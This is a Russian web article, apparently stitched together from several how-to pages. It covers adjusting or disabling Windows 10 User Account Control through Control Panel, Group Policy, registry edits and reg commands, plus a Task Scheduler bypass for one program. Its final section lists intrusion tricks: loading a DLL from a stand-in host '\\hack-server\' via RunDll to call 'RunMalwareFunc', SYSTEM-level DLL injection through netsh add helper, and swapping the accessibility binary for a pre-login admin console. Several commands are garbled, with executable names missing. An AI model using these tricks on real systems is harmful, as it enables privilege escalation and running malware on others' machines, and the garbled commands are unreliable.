Включить настройки контроля учетных записей

В конфигурации UAC мы сможем найти различные уровни безопасности. Эти уровни позволят нам настроить уровень защиты, который мы хотим для нашей системы Windows 10.

Метод 1: настраиваем/отключаем UAC через Панель управления

Смотрите также: “Родительский контроль в Windows 10: как установить и отключить”

Для изменения большинства настроек операционной системы используется Панель управления. Наша задача с помощью данного инструментам выполняется следующим образом:

  1. Запускаем Панель управления любым удобным способом, например, через строку Поиска.
  2. Настроив просмотр в виде крупных или мелких значков переходим в раздел “Учетные записи пользователей”.
  3. Щелкаем по надписи “Изменить параметры контроля учетных записей” (данное действие требует наличия прав администратора).
  4. В появившемся окне мы можем задать степень контроля путем сдвига соответствующего на выбор доступно 4 уровня:
    • “Всегда уведомлять”. Это самый высокий уровень контроля и, следовательно, безопасности. Пользователь всегда будет получать уведомления при попытке приложений установить ПО или внести изменения в параметры компьютера, а также, когда сам пользователь меняет настройки ОС.
    • Выбранный по умолчанию вариант – уведомления только в тех случаях, когда приложения пытаются внести изменения в настройки ПК или ноутбука.
    • Следующий, более низкий уровень, отличается от рассмотренного выше тем, что во время уведомлений рабочий стол затемняться не будет. В некоторых случаях, когда затемнение занимает много времени, это является плюсом. В остальных ситуациях выбор такого варианта нежелателен.
    • Отключению UAC соответствует метка “Никогда не уведомлять”.Примечание: получить доступ к данным настройками можно по-другому: с помощью комбинации Win+R запускаем окно “Выполнить”, в котором пишем команду “UserAccountControlSettings” и жмем OK (или Enter).
  5. Когда выбор сделан, остается только нажать кнопку OK.

Отключение UAC через панель управления

Данный способ наверное является самым простым, вам нужно проделать лишь несколько несложных действий.

Нажимаем на кнопку «Пуск» и переходим в «Панель управления», далее во втором столбике вы должны перейти в самый первый раздел, который называется «Учетные записи пользователей и семейная безопасность». В открывшемся окне переходим в раздел «Учетные записи пользователей» и вы увидите вот такую картину:

Вам нужно нажать на пункт «Изменение настроек контроля учетных записей» и если на данный момент служба UAC активна вы увидите вот такое сообщение:

Вам нужно нажать на кнопку «OK» и перед вами откроется окно в котором вы увидите ползунок.

Если вы полностью хотите отключить UAC, то ползунок следует спустить до самого низа и нажать на кнопку «OK».

Как отключить контроль учетных записей UAC в Windows 10

Пользователю в разделе контроля учетных записей доступны следующие настройки уведомления об изменения параметров компьютера. По умолчанию система уведомляет пользователя только при попытках приложений внести изменения в компьютер с затемнением рабочего стола.

  • Всегда уведомлять: когда приложения пытаются установить программное обеспечение или изменить параметры компьютера; когда пользователь изменяет параметры Windows (Рекомендуется при частой установке нового программного обеспечения и посещении незнакомых веб-сайтов).
  • Уведомлять только при попытках приложений внести изменения в компьютер (по умолчанию) — не уведомлять при изменении параметров Windows пользователем (Рекомендуется при использовании знакомых приложений и посещения знакомых веб-сайтов).
  • Уведомлять только при попытках приложений внести изменения в компьютер (не затемнять рабочий стол) — не уведомлять, когда пользователь изменяет параметры Windows (Не рекомендуется. Выбирайте этот вариант, только если затемнение рабочего стола компьютера занимает много времени).
  • Не уведомлять меня: когда приложения пытаются установить программное обеспечение или изменить параметры компьютера; когда пользователь вносит изменения в систему (Не рекомендуется).

Собственно для полного отключения контроля учетных записей пользователей достаточно отключить все уведомления при попытках внесения изменений со стороны сторонних приложений. Иначе пользователям будет выводиться уведомление о блокировке приложения в целях защиты Windows 10. Рекомендуем отключать UAC только, если Вы уверенны в источнике приложения.

Читайте также:  Как установить Oracle VM VirtualBox Extension Pack

Панель управления

Стандартная панель управления все ещё доступна в последних версиях операционной системы. Пользователям достаточно знать как найти панель управления в Windows 10.

  1. Перейдите в Панель управления > Учетные записи пользователей > Параметры контроля учетных записей.
  2. В открывшимся окне перетяните ползунок в самое нижнее значение Никогда не уведомлять.

Путем перетаскивания ползунка в окне управления учетными записями можно быстро отключать и включать контроль учетных записей пользователей. Обратите внимание, полностью отключать средство защиты не рекомендуется.

А также попасть в окно параметров управления учетными записями пользователей можно с помощью поиска, набрав Изменения параметров контроля, и выбрав в результатах поиска Изменение параметров контроля учетных записей или выполнив команду UserAccountControlSettings в окне Win+R.

Редактор локальной групповой политики

  1. Откройте редактор групповой политики выполнив команду в окнеWin+R.
  2. Перейдите по пути: Конфигурация компьютера > Конфигурация Windows > Параметры безопасности > Локальные политики > Параметры безопасности.
  3. Находим политику Контроль учетных записей: все администраторы работают… и меняем её параметр на Отключен.

Редактор реестра

Для более опытных пользователей есть возможность отключить или включить UAC с помощью редактора реестра. Этот способ также подходит для пользователей предыдущих версий операционной системы. Перед внесением изменений рекомендуется создать резервную копию реестра Windows 10.

  1. Откройте редактора реестра нажав Win+R, и в открывшемся окне выполните regedit.
  2. Перейдем по пути: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\ System.

Здесь мы увидим 3 параметра: ConsentPromptBehaviorAdmin, PromptOnSecureDesktop, EnableLUA значения которых мы и будем менять. Установите следующие значения для каждого уровня положения ползунка.

  • Всегда уведомлять — [2, 1, 1]
  • Уведомлять при попытках приложений изменить параметры — [5, 1, 1]
  • Уведомлять без затемнения экрана — [5, 0, 1]
  • Никогда не уведомлять — [0, 0, 1]

Выводы

Несмотря на дополнительную защиту со стороны контроля учетных записей в некоторых ситуациях в пользователя не получается установить даже доверенные приложения. Если же Вы уверенны в достоверности источника приложения, можно на некоторое время полностью отключить контроль учетной записи. После установки нужного приложения, рекомендуем восстановить все значения по умолчанию.

Контроль учетных записей в Windows 10

Контроль учетных записей в основном уведомляет вас о внесении изменений в ваш ПК — не все изменения, а только те, которые требуют разрешений уровня администратора. Эти изменения могли быть инициированы пользователем, операционной системой, подлинным программным обеспечением или даже вредоносным ПО! Каждый раз, когда инициируется такое изменение уровня администратора, Windows UAC будет запрашивать у пользователя подтверждение или отклонение. Если пользователь одобряет изменение, оно вносится; в нет, в систему не вносятся никакие изменения. До появления UAC экран может потемнеть.

В общих чертах, ниже приведены некоторые действия, которые могут вызвать приглашение UAC:

  • Установка или удаление приложений
  • Изменение настроек брандмауэра
  • Установка драйверов и элементов управления ActiveX
  • Установка/настройка Центра обновления Windows
  • Добавление/удаление/изменение учетных записей пользователей/типов
  • Доступ, просмотр или изменение файлов и папок другого пользователя
  • Настройка родительского контроля
  • Запуск планировщика заданий
  • Восстановление файлов резервной копии системы
  • И даже при изменении настроек UAC

Его настройки по умолчанию:

Уведомлять меня только тогда, когда приложения пытаются внести изменения в мой компьютер

Всякий раз, когда появляется запрос согласия UAC и запрашивает ваше разрешение, вы, возможно, заметили, что он затемняет экран и временно отключает интерфейс Aero — и он отображается без прозрачности. Это называется Безопасный рабочий стол и является функцией безопасности в Windows. Запрос учетных данных отображается, когда обычный пользователь пытается выполнить задачу, для которой требуется токен административного доступа пользователя.

Подсказки повышения прав UAC имеют цветовую кодировку для конкретного приложения, что позволяет незамедлительно определить потенциальную угрозу безопасности приложения.

Читайте также:  Быстрый запуск Windows благодаря автозагрузке

Способы отключения

Есть пара вариантов уже поднадоевшего контроля Администратора, каждый из них доступен неопытным пользователям. И не отнимут много времени, если понадобится отключить вездесущую проверку.

  • В Панели управления системой.
  • При редактировании реестра.
  • С помощью Командной строки.

Через Панель управления

Отключить запрос прав Администратора можно через Панель управления. Через меню Пуск на домашней странице панели, переключив в верхнем правом углу вид на «значки», надо найти строку – Учетные записи пользователей. Далее, перейдя в пункт изменения параметров контроля учетных записей, можно выбрать один из представленных вариантов. Описание каждого режима будет дано справа и поможет выбрать нужный.

Важно! Через Панель правления, даже выбрав режим «Никогда не уведомлять», полностью UAC отключить не получится.

Способы отключения

С помощью реестра

Можно отредактировать реестр под нужный режим. Это потребует определенных навыков и осторожности, потому что нельзя изменять другие значения реестра, иначе можно повредить и обрушить систему. Чтобы вызвать реестр Windows, нужно:

  • Одновременно зажать клавиши «win+R».
  • В диалоговом окошке ввести «regedit».
Способы отключения
  • Далее в окне управления реестром системных файлов пошагово нужно пройти путь в нужную папку: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.
  • В конечной подпапке «System» открыть параметр EnableLUA.
  • Изменить значение на «0».

Компьютер сразу запросит разрешение на перезагрузку, и после нее строгая проверка учетных записей будет отключена раз и навсегда.

Способы отключения

Командная строка/Power shell

Самый быстрый способ отключить вездесущую проверку учетных записей – это убрать с помощью Командной строки. По сути, этот вариант использует тот же метод, что и отключение через редактирование реестра. Только тут, при введении определенной команды, система все сделает сама. В 10-ке, на панели приложений в поиске надо ввести «Командная строка» и левой клавишей мышки запустить от имени Администратора.

Потом прописать следующую команду:

Способы отключения

reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

После активировать введенную задачу нажатием «Enter», ОС сама начнет «перелопачивать» данные реестра и выставлять нужные значения, сохранять измененные настройки. Как положено, отправить ПК в перезагрузку для полной установки и верификации изменений. Все, жесткий режим отключен, можно пользоваться устройством без предупреждающих надписей!

Способы отключения

Почему не стоит полностью выключать защиту

К сожалению, эта технология вызывает у пользователя лишь раздражение. Несмотря на то что UAC повышает безопасность вашего ПК, не позволяет запуститься вредоносным программам и уберегает от вирусов, пользователи не любят назойливых оповещений, мешающих работать. В основном причина, по которой требуется отключить контроль, — это необходимость работать с несколькими программами одновременно. В таком случае UAC начнёт раздражать и мешать вашей работе. Компания Microsoft не рекомендует полностью отключать службу контроля, потому что существует риск случайно запустить шпионскую программу или загрузить вирусы, которые могут быстро заразить ваш компьютер и всю операционную систему. В конце концов, включение UAC в систему Windows было нужно как раз для защиты.

Отключить UAC для конкретного приложения в Windows 10

Шаг 1. Если нет желания отключать контроль учетных записей для всех программ, то есть метод, который поможет отключить UAC для определенного приложения. Нажмите Win+R и введите control schedtasks, чтобы быстро открыть планировщик заданий.

  • Справа нажмите на «Создать задачу».
  • В новом окне во вкладке «Общие» задайте любое имя и установите снизу галочку «Выполнить с наивысшими правами».
  • Перейдите во вкладку «Условия» и снимите галочку «Запускать только при питании от элеткросети».
Отключить UAC для конкретного приложения в Windows 10

Перейдите во вкладку «Действия» и нужно будет добавить исполняемый exe файл программы, которую мы хотим добавить в исключения UAC.

  • Нажмите «Создать» > «Обзор» и выберите exe файл программы или игры.

Шаг 2. Для полного удобства создадим ярлык для запуска программы для которой контроль учетной записей не будет срабатывать.

Отключить UAC для конкретного приложения в Windows 10
  • Нажмите на пустом месте рабочего стола правой кнопкой мыши и «Создать»> «Ярлык».
  • Укажите путь schtasks /run /tn «myWEBpc», где myWEBpc это имя, которое мы задавали в планировщике заданий (шаг 1).
  • В следующим окне вы можете указать любое имя. Оно будет отображаться на рабочем столе.
Читайте также:  Автономная учетная запись Windows 10 при установке

У вас появится ярлык на рабочем столе, который будет запускаться без уведомления контроля учетных записей. В моем случае, будет запуск командной строки от имени администратора.

Смотрите еще:

  • Как включить или отключить Брандмауэр в Windows 10 
  • Защитник Windows: Ограничить нагрузку на процессор 
  • Как отключить фильтр SmartScreen в Windows 10
  • Изоляция ядра и Целостность памяти в Защитнике Windows 10
  • Как отключить защитник Windows 10
Отключить UAC для конкретного приложения в Windows 10

Отключаем сообщения UAC через реестр

Контроль учетных записей можно отключить, используя редактор реестра. Попасть в него можно, если нажать Win+R, ввести «regedit» в открывшемся окошке и нажать клавишу «Enter».

Параметры UAC хранятся в трех ключах, расположенных в ветке «HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\ System»:

Отключаем сообщения UAC через реестр
  1. ConsentPromptBehaviorAdmin;
  2. EnableLUA;
  3. PromptOnSecureDesktop.

Изменить значения ключей можно, дважды кликнув на них. Разным вариантам работы UAC соответствуют различные значение ключей, которые приведены в таблице ниже.

Выберите для себя необходимый уровень защиты. Или полностью отключите функцию.

Через командную строку

Отключаем сообщения UAC через реестр

Существует несколько вариантов запуска командной строки:

  • щелкнуть мышью (правой кнопкой) на «Пуск» и выбрать «Командная строка»;
  • через поиск начального экрана Windows найти пункт «Командная строка» и выбрать его;
  • запустить файл

Следует учесть, что для изменения параметров UAC нужно запускать командную строку от имени администратора.

Далее остается набрать команду:

Отключаем сообщения UAC через реестр

C:\Windows\System32\ /k C:\Windows\System32\ ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

И нажать «Enter».

Появится уведомление о необходимости перезагрузки ПК.

После новой загрузки служба контроля учетных записей будет отключена.

Отключаем сообщения UAC через реестр

Еще несколько лазеек в Windows

Помимо распаковки DLL из аpхива CAB с помощью wusa, можно использовать и другие системные компoненты для копирования своих библиотек в системные каталоги. Например, можно отправить их на печать и сохранить как файлы через стандартный интерфейс принтера printui.

Интерфейс принтера позволяет сохранить любой код как файл в системном каталоге

При помoщи ключа реестра в этой ветке можно задать запуск любой программы с правами администратора:

Еще несколько лазеек в Windows

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\LayersЗапуск чего угодно от админа без подтверждения в UAC

В домене UAC не реагирует на действия удаленного пользователя, если тот является локальным админом. Утилита PsExec Tool от Марка Руссиновича при старте с опцией –h скрыто запускает указанный экзешник на удаленной системе. Для повышения его привилегий на чужом компьютере может использоваться локально хранимый токен. Готовый экcплоит для этого также есть в Metasploit, а сам метод подробно разбирается здесь.

Иногда удобен быстрый способ внедрения своего кода через RunDll. В общем случае для этого достаточно отправить команду

\\hack-server\,RunMalwareFunc

Тогда системный компонент сам выкачает указанную библиотеку с самба-сервера \\hack-server\ и вызовет встроенную в нее функцию RunMalwareFunc().

Еще несколько лазеек в Windows

Еще одна утилита командной строки, помогающая тихо внедрить свой код, — сетевая оболочка . Для установки дополнительных DLL в ней есть встроенная функция add helper. Технически в качестве подгружаемой библиотеки можно указать не только модуль поддержки network shell, но и свою DLL — лишь бы в ней была соответствующая функция InitHelperDll().

Поэтому, если выполнить команду

add helper %temp%\

наша библиотека зарегистрируется в ветке реестра HKLM\SOFTWARE\Microsoft\Netsh. Она будет зaгружаться с правами системы и сможет делегировать их дочерним процессам.

Запускаем калькулятор как системный процесс

Вспомним еще один старый трюк. Он позволяет запустить консоль с правами уровня системы еще до входа в Windows. Для этого достаточно заменить компонент «Специальные возможности» ( или — в зaвисимости от версии ОС) на копию командного процессора После такой замены при клике на ярлыке «Специальные возможности» вместо них прямо поверх экрана приветствия откроется консоль с наивысшими привилегиями. Подробнее об этом и других методах обхода ограничений Windows читай в статье «Как получить права админа в Windows».

Еще несколько лазеек в Windows

Еще ссылки:

Классический метод обхода UAC от Лео Дэвидсона Скрипт для автоматического перебора основных методов обхода UAC от 0xfemale UACMe — наиболее полный сборник методов обхода UAC от hfiref0x

Click to rate this post! [Total: 16 Average: 4.2]